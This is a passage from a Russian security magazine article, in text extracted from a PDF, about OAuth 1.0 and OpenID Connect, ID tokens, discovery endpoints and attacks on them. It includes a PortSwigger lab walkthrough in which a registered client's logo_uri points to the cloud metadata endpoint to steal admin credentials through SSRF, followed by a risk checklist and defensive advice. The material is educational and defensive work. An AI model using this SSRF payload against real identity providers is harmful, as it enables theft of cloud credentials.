зователя, но устанавливает ряд обязательных шагов:

Сервис‑провайдер должен проверить личность пользователя, прежде чем
запрашивать согласие. Он может предложить пользователю войти в сис‐
тему, если тот еще не вошел.

•

Сервис‑провайдер предоставляет пользователю информацию о  пот‐
ребителе, который запрашивает доступ. Информация включает в  себя
продолжительность доступа и  ресурсы, к  которым потребитель получит
доступ.

•

Пользователь должен разрешить или  отклонить запрос. Если поль‐
зователь отказывает потребителю в  доступе, сервис‑провайдер не  дол‐
жен разрешать доступ к защищенным ресурсам.

•

Когда сервис‑провайдер отображает информацию о потребителе, он дол‐
жен информировать пользователя, что данные, которые отображаются,
указаны самим потребителем и  их подлинность невозможно гаран‐
тировать (любой может назваться приложением «Пятерочки» или  каким
угодно). Метод, которым он это делает, в спецификации не определен.

•

После того как  пользователь подтверждает доступ, сервис‑провайдер воз‐
вращает его на  сайт потребителя, вместе с  тем же токеном и  параметром

. Этот параметр появился в  OAuth 1.0a и  является кодом

верификации, который мы уже знаем по OAuth 2.0.

oauth_verifier

HTTP/1.1 302 Found

Location: [https://www.example.com/oauth/callback/twitter?oauth_
token=NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0&oauth_
verifier=uw7NjWHT6OJ1MpJOXsHfNxoAhPKpgI8BlYDhxEjIBY](https://www.
example.com/oauth/callback/twitter?oauth_
token=NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0&oauth_
verifier=uw7NjWHT6OJ1MpJOXsHfNxoAhPKpgI8BlYDhxEjIBY)


Получение access-токена
Потребитель получает эти параметры и  использует уже авторизованный
токен, чтобы запросить , с  которым он наконец сможет

получить доступ к ресурсам.

access_token

Суть этого запроса  — обменять авторизованный 

на  .

oauth_token
access_token
В запросе отправляются:

  — идентифицирует приложение для  сервис‑про‐
вайдера. Назначается при регистрации приложения;

• oauth_consumer_key

 — метод подписи отправляемых данных;• oauth_signature_method

  — сама подпись, алгоритм генерации которой мы
разобрали выше;

• oauth_signature

 — timestamp, когда была сгенерирована подпись;• oauth_timestamp

  — авторизированный токен, который мы обменяем
на access-токен;

• oauth_token

 — случайная строка, уникальная для каждого запроса, что‐
бы предотвратить replay-атаки;

• oauth_nonce

 — используемая версия OAuth.• oauth_version

Выглядит запрос примерно следующим образом:

POST /oauth/get_access_token HTTP/1.1

Host: [api.twitter.com](http://api.twitter.com/)


Authorization: OAuth oauth_consumer_key="cChZNFj6T5R0TigYB9yd1w",

oauth_signature_method="HMAC-SHA1",

oauth_signature="nPPh4sLZaCrSAD2moyG6%2Bp8lPuM%3D"

oauth_timestamp="1340653420",

oauth_token="NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0",

oauth_nonce="OT1DI4X0Wer1ezbuhCnoqCFr9qjrmQZ6",

oauth_version="1.0"


В ответе возвращается  — токен, с помощью которого можно
получать доступ к ресурсам.

access_token

Вот так:

HTTP/1.1 200 OK

Content-Type: application/x-www-form-urlencoded


access_token=6cccgqOBPO4d3MikG5BkSv2ONp1rBZRtSZW9E9OAppr


Получение доступа к защищенным ресурсам
После получения access-токена потребитель может получить доступ
к  защищенным ресурсам от  имени пользователя. Запрос должен быть под‐
писан и должен содержать следующие параметры:

 — ключ, который идентифицирует потребителя;• oauth_consumer_key

 — OAuth-токен для доступа к его ресурсам;• oauth_token

 — метод подписи;• oauth_signature_method

 — подпись запроса;• oauth_signature

 — timestamp, когда была сгенерирована подпись;• oauth_timestamp

 — случайная строка, чтобы предотвратить replay-атаки;• oauth_nonce

 — версия OAuth, которая будет использоваться во всем
процессе.

• oauth_version

На этом флоу окончен.
Еще одна обобщающая схема.

Схема работы OAuth 1.0

ПРОБЛЕМЫ OAUTH

Сравнение первой и второй версии OAuth

Главные проблемы OAuth 1.0 и OAuth 1.0a были в сложности реализации это‐
го протокола, именно на нее и жаловались разработчики. Ты сам только что
прочитал весь флоу и убедился, что на всех этапах используется много крип‐
тографии.

Кроме этого, пользователи отмечали следующее:
по умолчанию в OAuth 1.0 токены могут иметь бесконечный срок действия,
если это не настроено иначе на стороне сервис‑провайдера;

•

отсутствует механизм refresh-токенов, нужных, чтобы выписать новый
access-токен без повторного запроса данных авторизации у пользовате‐
ля;

•

OAuth 1.0  ориентирован на  использование в  браузере, а  не отдельных
приложениях;

•

механика скоупов никак не  стандартизирована (и отсутствует на  стороне
пользователя).

•

Кроме скоупов, в спецификации еще множество пробелов, которые создают
много развилок для вариативности и допущения потенциально опасных оши‐
бок. Джун, который раньше не слышал об OAuth 1.0, только что ознакомился
с  протоколом и  впервые пишет код, с  немалой вероятностью допустит эти
ошибки.

Как мы уже узнали, на смену OAuth 1.0a пришел OAuth 2.0, ставший пол‐
ноценным фреймворком. Но есть еще один протокол, который в перспективе
выглядит гораздо интереснее предыдущих, поскольку еще более стандарти‐
зирован и решает некоторые проблемы OAuth 2.0. Его сейчас мы и рассмот‐
рим более детально.

ЗНАКОМСТВО С OPENID CONNECT

Как OpenID связан с OAuth

Логотип OpenID Connect

OpenID Connect  — это  стандарт, который расширяет исходный протокол
авторизации OAuth и  описывает, как  построить поверх него логику с  иден‐
тификацией и аутентификацией пользователя.

Он был разработан из‑за того, что в  классическом протоколе нет аутен‐
тификации. Классический OAuth создан, чтобы приложения могли выдавать
друг другу полномочия на  доступ к  ресурсам, а  не для  подтверждения лич‐
ности пользователя.

OpenID Connect в  решении с  Hybrid Flow может гарантировать как  авто‐
ризацию, так и  аутентификацию, что делает его универсальным и  более
совершенным аналогом классического OAuth, OAuth 1.0a и OAuth 2.0.

OAuth не решает задачу аутентификации

Аутентификация и псевдоаутентификация

Лабораторная работа, которую мы решали в  , показывает
это на реальном примере. Пользователь приходит к приложению с каким‑то
токеном и говорит, что он его владелец. Но приложение при этом не может
проверить, действительно ли человек, который представился указанным
токеном, тот, за кого себя выдает.

первой статье

Токен может быть получен через взломанное приложение (кто‑то слил
базу с  токенами) или  перенаправление на  поддельный сайт, который затем
передаст токен злоумышленнику. Мы знаем уже много способов кражи
токенов и проверили их на практике.

В таких случаях приложение может считать пользователя аутентифици‐
рованным только на  основе наличия токена, но  фактически злоумышленник
использует чужой токен. Все равно что украсть ключ от чужой квартиры и вой‐
ти в нее под видом реального хозяина.

Токен OAuth по  своей природе предназначен для  того, чтобы предос‐
тавить доступ к ресурсам от имени пользователя. Хотя в самом токене может
быть закодирована метаинформация о  его владельце, эта информация
не была предоставлена с целью аутентификации и на нее нельзя полагаться
как на доказательство личности.

В первой лаборатории разработчики решили проблему собственным спо‐
собом  — научились принимать email от  пользователя в  качестве логина
и OAuth-токен в качестве пароля. Дальше была валидация токена, но не было
никакой проверки, что к ним пришел тот пользователь, чей email мог указать
хакер. Так и  возникла уязвимость, которая позволила войти в  любой чужой
аккаунт.

Аутентификация и авторизация

Реализаций, которые несут риски, очень и очень много. Каждая из них далека
от идеала, и приложениям приходится по косвенным признакам определять,
когда, где или  как пользователь был аутентифицирован, что очень и  очень
ненадежно.

Могут возникнуть вопросы, например: «Может быть, спросить у  поль‐
зователя, какой email был указан у владельца токена? Или нужно уточнить его
номер телефона с кодовым словом, которые знал бы только создатель акка‐
унта на  сервере ресурсов?» Но  все это  не позволяет точно аутентифици‐
ровать пользователя.

Кроме того, для  надлежащей поддержки OAuth клиентским приложениям
пришлось  бы настраивать отдельные механизмы для  каждого провайдера,
каждый с разными эндпоинтами, уникальными наборами скоупов и так далее.

OpenID Connect решает многие проблемы, добавляя строгую стандарти‐
зацию, чтобы сделать аутентификацию через OAuth надежной, простой и еди‐
нообразной.

Кроме того, он построен на  базе обычного OAuth, благодаря этому
на него легко перейти.

ПРИНЦИП РАБОТЫ OPENID CONNECT

Для начала уточним терминологию. OpenID Connect вводит несколько клю‐
чевых терминов, незнакомых по обычному OAuth. Вот они:

  — это  приложение, которое запрашивает аутен‐
тификацию пользователя. Синоним обычного OAuth Client Application.

• Relying Party (RP)

  — это  служба,

которая аутентифицирует пользователей и  предоставляет информацию
проверяющим сторонам (RP) или  клиентским приложениям. Отвечает
за проверку личности пользователя.

• Identity Provider (IdP) или  OpenID Provider (OP)

  — пользователь, который взаимодействует с  самим приложе‐
нием и  Identity-провайдером. Синоним Resource Owner из  классического
OAuth.

• End-User

  — , который выписывает Identity
Provider после успешной аутентификации. В него закодирована информа‐
ция об аутентифицированном пользователе, включая его ID и имя. Identity-
токен — это основное расширение для аутентификации через OAuth 2.0.

• Identity Token (ID Token) JWT-токен

 — атрибуты конечного пользователя в формате 

вроде .

• Claims ключ: значение

first_name: Ivan

Hybrid Flow
Для начала простая картинка.

Простая схема OpenID Connect

А теперь более сложная и более подробная.

Сложная схема OpenID Connect

Продолжение статьи
→
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ПОСЛЕ OAUTH
РАЗБИРАЕМ АТАКИ НА OPENID

CONNECT

COVERSTORY 
НАЧАЛО СТАТЬИ←

OpenID поддерживает Client Credentials Grant, Resource Owner Password
Grant, Implicit Flow и  Hybrid Flow. Рассмотрим флоу аутентификации Hybrid
Flow, который комбинирует элементы  и 

 из OAuth 2.0:

Authorization Code Flow Implicit

Flow

1. . Проверяющая сторона (Relying Party) ини‐

циирует запрос аутентификации, направляя браузер пользователя
OpenID-провайдеру (OpenID Provider).

Authentication Request

2. . Провайдер OpenID аутентифицирует пользователя. Этот

процесс может различаться в зависимости от провайдера, но обычно он
включает запрос учетных данных пользователя и их проверку.

Authentication

3. . После аутентификации пользователя провайдер
OpenID перенаправляет браузер пользователя обратно проверяющей
стороне с кодом авторизации.

Authorization Code

4. . Проверяющая сторона обменивает этот код авториза‐
ции на identity-токен и access-токен.
Token Request

5. . Identity Token  — это  JWT-токен, в  котором хранится

информация об  аутентификации конечного пользователя. Проверяющая
сторона проверяет этот токен, чтобы убедиться в  его действительности
и получить информацию о пользователе.

Token Verification

Как можно заметить, бегло прочитав эти пункты, в  обычном OAuth возвра‐
щается только access-токен, в  OpenID еще  возвращается identity-токен,
наличие которого подтверждает, что пользователь аутентифицировался.

Второе отличие заключается в  скоупах. На  этапе Authentication Request
в параметре  всегда отправляется значение , а после него сле‐

дуют области данных, к  которым приложение хочет получить доступ, нап‐
ример . Это не обычные скоупы, а клей‐
мы, за каждым из которых может быть закреплено несколько атрибутов.

scope openid

scope=openid profile email phone

Кроме того, если в базовом OAuth каждый сервер авторизации указывал
собственный набор полей, то в OpenID список полей у всех провайдеров уни‐
фицирован и описан в спецификации.

И третье отличие заключается в наличии трех обязательных эндпоинтов:
Authorization;•
Token;•
UserInfo.•

А также опциональных:
WebFinger;•
Provider metadata;•
Provider JWK set;•
Client registration;•
Session management.•

Один из них мы рассмотрим далее более подробно.

ЧТО ЗАШИТО В IDENTITY TOKEN

Наглядное сравнение identity-токена и  access-токена можно посмотреть
на картинке ниже.

Сравнение identity- и access-токенов

Мы не будем подробно разбирать access-токен, потому что и так о нем уже
достаточно знаем и  работали с  ним на  практике. Важно различать токены
и знать, что access-токен используется для получения данных о пользователе
от  провайдера OpenID, а  ID  — для  его аутентификации проверяющей сто‐
роной. Поэтому пристальнее разберем Identity Token.

Identity Token можно воспринимать как  удостоверение личности, которое
подписано провайдером OpenID. Чтобы его получить, клиент должен быть
аутентифицирован.

Особенности identity-токена:

подтверждает личность пользователя, который называется субъектом
в OpenID ( );

•
sub

указывает на орган, который его выписал ( );• iss

генерируется для определенной аудитории, то есть клиента ( );• aud

может содержать криптографический  для  предотвращения replay-
атак;

• nonce

может указывать, когда ( ) и как ( ) пользователь был аутен‐
тифицирован;

• auth_time acr

указывает, когда был выписан токен ( ) и каков срок его действия ( );• iat exp

может включать дополнительные сведения о  субъекте, такие как  имя
и адрес электронной почты;

•

имеет цифровую подпись, поэтому его может проверить предполагаемый
получатель;

•

может быть дополнительно зашифрован для конфиденциальности.•

Identity-токен может быть упакован в простой объект JSON:

{
   "sub"       : "alice",
   "iss"       : "https://openid.c2id.com",
   "aud"       : "client-12345",
   "nonce"     : "n-0S6_WzA2Mj",
   "auth_time" : 1311280969,
   "acr"       : "https://load.c2id.com/high",
   "iat"       : 1311280970,
   "exp"       : 1311281970
}

Этот объект зашит в JWT, который закодирован в Base64.

eyJhbGciOiJSUzI1NiIsImtpZCI6IjFlOWdkazcifQ.ewogImlzcyI6ICJodHRw

Oi8vc2VydmVyLmV4YW1wbGUuY29tIiwKICJzdWIiOiAiMjQ4Mjg5NzYxMDAxIiw

KICJhdWQiOiAiczZCaGRSa3F0MyIsCiAibm9uY2UiOiAibi0wUzZfV3pBMk1qIi

wKICJleHAiOiAxMzExMjgxOTcwLAogImlhdCI6IDEzMTEyODA5NzAKfQ.ggW8hZ

1EuVLuxNuuIJKX_V8a_OMXzR0EHR9R6jgdqrOOF4daGU96Sr_P6qJp6IcmD3HP9

9Obi1PRs-cwh3LO-p146waJ8IhehcwL7F09JdijmBqkvPeB2T9CJNqeGpe-gccM

g4vfKjkM8FcGvnzZUN4_KSP0aAp1tOJ1zZwgjxqGByKHiOtX7TpdQyHE5lcMiKP

XfEIQILVq0pc_E2DzL7emopWoaoZTF_m0_N0YzFC6g6EJbOEoRoSK5hoDalrcvR

YLSrQAZZKflyuVCyixEoV9GfNQC3_osjzw2PAithfubEEBLuVVk4XUVrWOLrLl0

nx7RkKU8NXNHq-rvKMzqg


Подробнее о  структуре данных JWT и  ее кодировке можно прочитать в  RFC
7519, а об атаках на JWT — в  .моей предыдущей статье

OPENID CONNECT DISCOVERY

OpenID Connect Discovery (он же WebFinger)  — это  механизм, который поз‐
воляет узнать всю необходимую информацию о провайдере OpenID, что дает
возможность интегрировать с  ним целевое приложение, или  Relying Party,
как оно называется в OpenID.

Механизм WebFinger

OpenID Connect Discovery предоставляет метаданные конфигурации провай‐
дера, включая:

URL для авторизации ( );• authorization_endpoint

URL для получения токенов ( );• token_endpoint

URL для получения информации о пользователе ( );• userinfo_endpoint

поддерживаемые токены и алгоритмы;•
поддерживаемые клеймы (например, , , );• sub name email

метаданные для проверки подписи токенов ( ) и  другие важные
данные.

• jwks_uri

Располагается обычно по такому адресу:

https://server.com/.well-known/openid-configuration


И возвращает JSON со всей необходимой информацией:

{
   "issuer": "https://example.com/",
   "authorization_endpoint": "https://example.com/authorize",
   "token_endpoint": "https://example.com/token",
   "userinfo_endpoint": "https://example.com/userinfo",
   "jwks_uri": "https://example.com/.well-known/jwks.json",
   "scopes_supported": [
     "pets_read",
     "pets_write",
     "admin"
   ],
   "response_types_supported": [
     "code",
     "id_token",
     "token id_token"
   ],
   "token_endpoint_auth_methods_supported": [
     "client_secret_basic"
   ],
   ...
}

Обычно этот эндпоинт может дать много полезной информации как для раз‐
работчика, который интегрирует OpenID в собственный сайт, так и для хакера.

Чтобы найти такой эндпоинт, можно попробовать стандартный путь из спе‐
цификации, либо откопать в  документации разработчиков, если она есть
и доступна, либо попробовать вычитать в сообщениях об ошибках приложе‐
ния.

НЕЗАЩИЩЕННАЯ ДИНАМИЧЕСКАЯ РЕГИСТРАЦИЯ КЛИЕНТА

Как ты помнишь, первым этапом в OAuth и OpenID, независимо от того, какой
протокол используется, была регистрация самого приложения или проверя‐
ющей стороны.

Спецификация OpenID Connect описывает стандартизированный способ,
который позволяет клиентским приложениям регистрироваться у провайдера
OpenID с помощью выделенного для этого эндпоинта. Это удобно и экономит
время, потому что для  этого не  требуется создавать отдельный личный
кабинет.

Если поддерживается динамическая регистрация клиента, проверяющая
сторона может зарегистрироваться, отправив специально сформированный
POST-запрос на  выделенный , например 

. Путь может отличаться, и  обычно он указывается в  файле
с настройками или в документации.

registration_endpoint /
registration

Взаимодействие между RP и OpenID-провайдером

В теле запроса клиентское приложение отправляет ключевую информацию
о  себе в  формате JSON. Например, часто в  качестве обязательных полей
выступают имя приложения, его URL, а  также список разрешенных URI
для перенаправления. Типичный запрос на регистрацию выглядит примерно
так:

POST /openid/register HTTP/1.1

Content-Type: application/json

Accept: application/json

Host: oauth-authorization-server.com

Authorization: Bearer ab12cd34ef56gh89


{

   "application_type": "web",

   "redirect_uris": [

       "https://client-app.com/callback",

       "https://client-app.com/callback2"

       ],

   "client_name": "My Application",

   "logo_uri": "https://client-app.com/logo.png",

   "token_endpoint_auth_method": "client_secret_basic",

   "jwks_uri": "https://client-app.com/my_public_keys.jwks",

   "userinfo_encrypted_response_alg": "RSA1_5",

   "userinfo_encrypted_response_enc": "A128CBC-HS256",

   …

}


Провайдер OpenID должен потребовать от  проверяющей стороны пройти
аутентификацию. В  примере выше для  этого используется bearer-токен

. Однако некоторые провайдеры разрешают динамичес‐

кую регистрацию клиентов без  какой‑либо аутентификации, что позволяет
злоумышленнику регистрировать свое вредоносное приложение.

ab12cd34ef56gh89

Последствия могут быть разными в зависимости от того, как используются
значения этих контролируемых злоумышленником свойств самим провай‐
дером. Например, ты мог заметить, что некоторые из  этих свойств пред‐
полагают указание URI. Если провайдер OpenID пытается обратиться к одно‐
му из них, это может потенциально привести к уязвимостям типа SSRF, если
не принять дополнительные меры безопасности.

Лаба: SSRF via OpenID dynamic client registration
• Лабораторная работа на сайте PortSwigger

Открываем блог, где на картинке, кажется, изображен читатель, который, уто‐
пая в  ценной инфе, просит меня остановиться и  закончить уже наконец
статью. Крепись, осталось совсем немного!

Главная страница блога

Логинимся, как мы делали это и раньше. Здесь стоит упомянуть интересный
факт, на который ты мог обратить внимание при должном изучении деталей:
во всех лабораториях, которые мы решали до этого, использовался OpenID.

Успешно вошли в аккаунт

Поскольку и  здесь используется OpenID, а  лаборатория посвящена поиску
уязвимостей с  помощью механизма Discovery, проверяем всевозможные
директории на  наличие конфигов. Спустя некоторое время находим такую
папку у провайдера OpenID:

http://oauth-0a67000b04d8701081b36eab026900ea.oauth-server.net/.well-
known/openid-configuration


Конфигурация WebFinger

Здесь есть разные параметры, такие как  уже упомянутые поддерживаемые
клеймы и  эндпоинты под  разные нужды, но  нас интересует

.registration_endpoint

Эндпоинт для регистрации

Для начала нам надо понять, что вообще нужно отправить на  него, чтобы
зарегистрировать собственное приложение. Поскольку документации у  нас
нет, открываем этот URL и встречаем ошибку, которая говорит нам о том, что
либо это незарегистрированный маршрут (что явно не так), либо мы просто
отправили не тот метод.

Попытка отправить запрос

И это логично, поскольку мы хотим не получить какую‑то информацию (был бы
метод GET), а  зарегистрировать приложение, то есть отправить какие‑то
параметры, которые должны лечь в его основу.

Переходим в Burp Suite и меняем метод с GET на POST. Вместо того чтобы
переписывать руками, можно просто кликнуть правой кнопкой мыши и  выб‐
рать Change request method.

Как быстро поменять тип запроса

Отправляем запрос и  встречаем новую ошибку. Сервер ожидает от  нас
 вместо 

, который мы отправили.

Content-Type: application/json application/x-www-form-
urlencoded

Неправильный тип контента

Это JSON API. Меняем  на  . И  , чтобы

сказать серверу о том, что мы отправим ему объект JSON. Поскольку пока что
мы просто тестируем этот эндпоинт, чтобы избавиться от ошибок, достаточно
будет не указывать параметры и отправить запрос пустым.

Accept application/json Content-Type

Не хватает параметра redirect_uri

Встречаем ошибку . Как ты помнишь, мы должны ука‐

зать допустимые урлы, на  которые сервер OpenID должен уметь перенап‐
равлять пользователя. На  один параметр  сервер выдает
ошибку, поэтому отправляем список из  того же самого тестового урла
с помощью .

invalid_redirect_uri

redirect_uri

redirect_uris
Запрос наконец‑то выполнился. Этого параметра оказалось достаточно,

чтобы сразу зарегистрировать полноценное приложение даже без  указания
его имени и других атрибутов.

Успешно зарегистрировали приложение

На сам  можно не обращать внимания, я пытаюсь указывать его

везде. Но  в этот раз ожидаемо отстук, конечно же, не  пришел на  этот URL,
поэтому нужно искать другие параметры, которые помогли бы нам проэксплу‐
атировать SSRF.

webhook.site

Отправляемся на страницу Consent Screen (чтобы найти уязвимость, мне
потребовалось время, поэтому тут я решил перейти сразу к сути).

В коде примечателен логотип приложения, в которое мы входим.

Логотип на странице входа

При редиректе можно найти ссылку на  изображение. Это  логотип, который
был установлен в процессе регистрации приложения.

Откуда загружается логотип

Продолжение статьи
→

https://xakep.ru/2024/08/07/jwt-deep-dive/
https://portswigger.net/web-security/oauth/openid/lab-oauth-ssrf-via-openid-dynamic-client-registration


ПОСЛЕ OAUTH
РАЗБИРАЕМ АТАКИ НА OPENID

CONNECT

COVERSTORY 
НАЧАЛО СТАТЬИ←

Лого запрашивается через специальный ID и, что самое главное, хранится
на сервере провайдера OpenID. Это странно, ведь если клиентское приложе‐
ние регистрировалось с  собственным URL, то тут должен был  бы оказаться
он, а не ссылка на провайдер.

Здесь можно предположить, что провайдер ходит по  предоставленной
ссылке, скачивает изображение и  сохраняет его у  себя, отдавая в  даль‐
нейшем его с  собственного сервера. Обычно в  таких местах и  возникают
SSRF-уязвимости.

Мы можем попытаться отправить запрос, чтобы убедиться, что это  дей‐
ствительно логотип клиентского приложения, который хостится у провайдера
OpenID.

Запрос на получение логотипа

Открываем спецификацию и   о динамической регистрации собствен‐
ного приложения с  помощью OpenID. Действительно, находим параметр,
который отвечает за логотип.

читаем

logo_uri

OPTIONAL. URL that references a logo for the Client application. If 
present, the server SHOULD display this image to the End-User during 
approval. The value of this field MUST point to a valid image file.


Попробуем снова зарегистрировать собственное приложение и  указать
в  качестве URL для  логотипа тот сервер, к  которому нам нужно обратиться
по заданию:

http://169.254.169.254/latest/meta-data/iam/security-credentials/
admin/


Прокидываем пейлоад для SSRF

Приложение успешно создано, но пока что это Blind SSRF или не SSRF вовсе,
поскольку ответ посмотреть мы не можем, а веб‑хук, который я пробовал ука‐
зывать до  этого, в  этом поле тоже не  срабатывает. Либо нам снова надо
искать новый параметр, либо PortSwigger отключает в  своих виртуальных
машинах интернет, чтобы усложнить жизнь реальным злоумышленникам.

Обращаемся к картинке:

GET /client/aw5wi0v3hxmbrf60b0sdg/logo HTTP/2

Host: [oauth-0a94003704d0a6a7c9162297020a00c6.oauth-server.net](
http://oauth-0a94003704d0a6a7c9162297020a00c6.oauth-server.net/)


Та часть, которая находится между  и  , — это  ID приложения.
Поэтому, чтобы увидеть наше лого, в  качестве которого мы указали внут‐
ренний сервер, нужно заменить этот ID идентификатором того приложения,
которое мы буквально только что зарегистрировали.

/client/ /logo

Успешно эксплуатировали SSRF и получили данные админа

Вот мы и получили токен администратора. Провайдер OpenID попытался заг‐
рузить нашу картинку, отправил запрос в свою внутреннюю сеть (на тот URL,
который мы указали) и вернул содержимое после того, как мы запросили его.

Теперь остается только сдать его и принять поздравления. Мы всё прош‐
ли!

Успешное прохождение лаборатории

ЧЕК-ЛИСТ ПРОВЕРОК

Эта серия статей могла бы продолжаться бесконечно, если бы мы описывали
все возможные векторы. В настоящее время существует драфт будущей спе‐
цификации, описывающий мисконфигурации, которые могут возникнуть
при использовании OAuth, и способы защититься от их эксплуатации.

Этот драфт называется OAuth 2.0 Security Best Current Practice, он был
опубликован  3  июня  2024  года и  содержит меры по  построению защиты
при использовании этого протокола.

Чек‑лист багов, которые можно найти в OAuth

Здесь есть много моментов, которые мы не  рассмотрели, поэтому советую
ознакомиться с документом .OAuth 2.0 Security Best Current Practice

РИСКИ

Давай под  конец вкратце пройдемся по  проблемным настройкам, ошибкам
программистов и  прочим лазейкам и  техникам, которые могут помочь
хакерам, если приложение использует OAuth или OpenID.

: как  проверяется

параметр  — сравнивается полный адрес или только вхож‐
дение определенного пути? Если выполняется недостаточная проверка,
это может привести к краже access-токена.

• Недостаточная проверка URI перенаправления

redirect_uri

: содержимое запроса

или  ответа авторизации может быть непреднамеренно раскрыто
в заголовке Referer.

• Утечка данных через заголовки Referer

: ссылки с кодами

авторизации могут утекать в историю браузера.

• Утечка учетных данных через историю браузера

: атаки с получением кода авторизации или access-токена,
когда используется два сервера авторизации, один из которых находится
под контролем злоумышленника.

• Mix-Up-атаки

: злоумышленник пытается внедрить укра‐
денный код авторизации в свой сеанс с клиентом. Цель состоит в том, что‐
бы связать сеанс злоумышленника на клиенте с ресурсами или личностью
жертвы.

• Инъекция кода авторизации

: злоумышленник использует украденный

токен, чтобы выдать себя за его владельца.

• Инъекция access-токена

: атаки типа CSRF в  контексте OAuth, поз‐
воляющие выполнить действие от имени другого пользователя (например,
привязать свой социальный аккаунт к чужому личному аккаунту на сайте).

• Cross Site Request Forgery

: такое случается, нап‐

ример, при взломе базы данных.

• Утечка access-токенов на сервере ресурсов

: позволит перехватить коды авторизации

и использовать их для обмена на access-токены самостоятельно.

• Утечка секрета клиента

: если сервер авторизации перенаправляет
на   с  кодом  307  вместо кода  302, сразу после того,
как  пользователь вводит свои учетные данные, злоумышленник с  собс‐
твенным вредоносным приложением может украсть учетные данные поль‐
зователя.

• 307-й редирект

redirect_uri

: атаки на  прок‐

си‑сервер, который находится перед сервером авторизации, с кастомны‐
ми заголовками.

• Прокси‑сервер, завершающий TLS-соединения

: если приложение может выб‐

рать  во  время регистрации, это  может привести к  краже
чужого секрета.

• Выдача себя за  владельца ресурса

client_id

: запрос авторизации подвержен атаке через подмену объ‐

екта на  странице на  стороне клиента. Злоумышленник может исполь‐
зовать этот вектор, чтобы получить данные аутентификации пользователя
и использовать их для доступа к ресурсам.

• Clickjacking

Проверки
Если ты внедряешь OAuth в  свой продукт, обрати внимание на  следующие
моменты.

OAuth используется для  аутентификации (проверить реализацию: многие
авторизационные серверы не  верифицируют данные, которые указал
пользователь).

•

 проверяет допустимые URL-адреса.• redirect_uri

Проверки  нельзя обойти с open redirect и path traversal.• redirect_uri

Используется параметр , чтобы предотвратить CSRF-атаки.• state

Параметры, в которых передается URL (например, при регистрации при‐
ложения), не подвержены атакам типа SSRF.

•

Для регистрации своего приложения требуется авторизация.•
Сервер авторизации сравнивает тот скоуп, который приложение указало
при регистрации, с тем, который используется при обмене кода авториза‐
ции на access-токен.

•

Код авторизации достаточно длинный, чтобы его нельзя было перебрать
брутфорсом.

•

Разные веб‑приложения, которыми владеет один и  тот же сервер ресур‐
сов, проверяют скоупы токена прежде, чем выдать данные.

•

АВТОМАТИЗАЦИЯ

Не существует утилиты, которая искала  бы все описанные выше мисконфи‐
гурации. Кроме того, некоторые проверки слишком сложно автоматизиро‐
вать. Но  для самых распространенных кейсов существует расширение
для Burp Suite, которое их покрывает.

Расширение для Burp, которое поможет искать баги

OAUTHScan выполняет проверки безопасности OAuth и  OpenID на  основе
информации, которая описана в спецификациях и статьях, указанных ниже:

;• RFC 6749: The OAuth 2.0 Authorization Framework
;• RFC 6819: OAuth 2.0 Threat Model and Security Considerations

;• RFC 6750: The OAuth 2.0 Authorization Framework: Bearer Token Usage
;• OAuth 2.0 Security Best Current Practice (draft)

;• OAuth 2.0
;• What is OpenID Connect

;• OpenID Connect Core 1.0
 (PortSwigger);• OAuth 2.0 authentication vulnerabilities

 (PortSwigger).• OpenID Connect

Вот неполный список проверок, которые выполняет расширение:
open redirect в параметре ;• redirect_uri

replay-атаки с кодом авторизации;•
утечка секретов (токенов и кодов);•
неправильная настройка параметра ;• nonce

неправильная настройка параметра ;• state

обнаружение OAuth-флоу, которые признаны небезопасными;•
поиск SSRF через параметр ;• request_uri

обнаружение ресурсов Well-Known и WebFinger.•

Чтобы установить OAUTHScan, надо клонировать :репозиторий

git clone https://github.com/PortSwigger/oauth-scan.git


Теперь переходим в  папку  и  собираем проект с  помощью

.

oauth-scan
gradlew build fatJar

Затем нужно перейти в Burp → Extensions, нажать на Add и выбрать соб‐
ранный JAR.

Как загрузить расширение в Burp

Кроме того, его можно найти на вкладке BApp Store.

Как установить расширение из магазина

Учти, что для  применения плагина нужна купленная версия Burp, в  которой
работает Scanner, а не бесплатная Community Edition без него.

КАК ЗАЩИТИТЬСЯ

Благодаря гибкости протокола OAuth можно наделать много ошибок. Нес‐
мотря на то что с момента создания первой версии прошло много времени
и уже успели появиться более совершенные OAuth 2.0 и OpenID, их исполь‐
зование все еще  не страхует от  ошибок  — и  все зависит от  разработчика,
который пишет конечную логику.

Чтобы предотвратить уязвимости аутентификации OAuth, как  OAuth-про‐
вайдеру, так и клиентскому приложению необходимо реализовать надежную
проверку входных данных, особенно параметра . Лишь малая
часть спецификации OAuth посвящена защите, поэтому вся нагрузка ложится
на плечи разработчиков.

redirect_uri

Важно отметить, что уязвимости могут возникнуть как на стороне клиент‐
ского приложения, так и на стороне сервера авторизации и сервера ресур‐
сов. Даже если твоя реализация надежна, это не значит, что на том конце всё
обезопасили.

Я перечислю лишь основные способы защитить свое приложение от атак,
которые мы рассмотрели на протяжении трех статей. В реальности векторов
намного больше, и о каждом можно было бы написать отдельный материал.

Сервис-провайдерам
Если ты предоставляешь авторизацию OAuth или  OpenID, вот несколько
полезных советов, которые защитят твоих пользователей:

Требуй от клиентских приложений регистрации белого списка допустимых
. По  возможности используй строгое побайтовое срав‐

нение для проверки URI во всех входящих запросах. Разрешай только пол‐
ные и  точные совпадения, а  не используй сопоставление с  шаблоном.
Это  поможет защититься от  некоторых атак с  подделкой 
и кражей токена.

•
redirect_uris

redirect_uri

Принудительно используй параметр . Его значение должно быть
привязано к сеансу пользователя путем включения некоторых неугадыва‐
емых, специфичных для сеанса данных, таких как хеш, содержащий сеан‐
совый . Это помогает защитить пользователей от атак типа CSRF
и значительно затруднит злоумышленнику использование любых украден‐
ных кодов авторизации.

• state

cookie

На сервере ресурсов убедись, что токен доступа был выдан тому же
, который делает запрос. Советую также проверять зап‐

рашиваемый скоуп, чтобы убедиться, что он соответствует тому же скоупу,
для которого токен был изначально предоставлен.

•
client_id

Клиентским приложениям
А вот советы на случай, если ты пишешь клиентское приложение:

Убедись, что ты полностью понимаешь детали работы OAuth, прежде чем
внедрять его. Многие уязвимости вызваны простым непониманием того,
что именно происходит на каждом этапе и как это может быть потенциаль‐
но использовано.

•

Используй параметр , даже если он не является обязательным.• state

Отправляй параметр  не  только в  эндпоинт 
, но и в  .

• redirect_uri /

authorization /token

При разработке мобильных или  собственных клиентских приложений
OAuth для  ПК часто невозможно оставить  тайным.
В  таких ситуациях можно использовать механизм  ( )
